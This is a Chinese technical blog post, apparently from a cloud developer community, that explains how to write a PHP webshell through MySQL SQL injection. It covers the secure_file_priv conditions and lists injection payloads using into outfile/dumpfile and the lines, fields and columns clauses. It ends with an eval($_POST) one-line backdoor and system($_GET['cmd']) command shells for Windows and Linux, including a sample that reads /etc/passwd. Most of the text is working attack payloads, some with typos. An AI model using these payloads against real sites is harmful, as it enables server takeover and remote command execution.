首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >SQL语句写Shell

SQL语句写Shell

作者头像
sugarbeet
发布2022-09-26 19:14:17
发布2022-09-26 19:14:17
1.1K0
举报
文章被收录于专栏:小满的技术录小满的技术录

SQL语句写Shell

满足条件:

  1. mysql的配置文件 my.ini 中,secure_file_priv 为空或者secure_file_priv 配置是目录地址。
  2. 未开启全局GPC

关于mysql的secure_file_priv属性得多说几句

  1. 当secure_file_priv为空时,mysql对导入导出文件是没有限制的
  2. 当secure_file_priv为目录地址时,mysql可以在目录位置下
  3. 进行导入导出操作,当secure_file_priv为NULL时,mysql就不能进行导入导出操作

union select 后写入

在union select 后拼接 into dumpfile 和 into outfile 来进行写shell

代码语言:javascript
复制
?id=1' union select 1,2,'<?php phpinfo();?>' into dumpfile 'c:/www/info.php'#
代码语言:javascript
复制
?id=1' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/www/info.php'#

lines terminated by 写入

代码语言:javascript
复制
?id=1' into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#
代码语言:javascript
复制
?id=1' limit 1 into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#

注入原理:

lines terminated by xx的作用是在每行终止的位置添加xx内容。

lines starting by 写入

代码语言:javascript
复制
?id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#
代码语言:javascript
复制
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#

注入原理:

lines starting by xx可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

代码语言:javascript
复制
?id=1’ into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#
代码语言:javascript
复制
?id=1’ imit 1 into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#

注入原理:

fields terminated by xx可以理解为 以每个字段的位置添加 xx 内容。

COLUMNS terminated by 写入

代码语言:javascript
复制
?id=1’ into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#
代码语言:javascript
复制
?id=1’ imit 1 into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#

注入原理:

COLUMNS terminated by xx可以理解为以每列的位置添加 xx 内容。

直接导入一句话木马后门

代码语言:javascript
复制
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/www/pass.php'

可执行命令方式

创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

代码语言:javascript
复制
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在linux下可以导出直接执行命令的shell:

代码语言:javascript
复制
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

使用方法:http://localhost/shell.php?c=cat%20/etc/passwd](http://localhost/shell.php?c=cat /etc/passwd

Q.E.D.

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SQL语句写Shell
    • 满足条件:
    • 关于mysql的secure_file_priv属性得多说几句
      • union select 后写入
      • lines terminated by 写入
      • lines starting by 写入
      • fields terminated by 写入
      • COLUMNS terminated by 写入
      • 直接导入一句话木马后门
      • 可执行命令方式
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档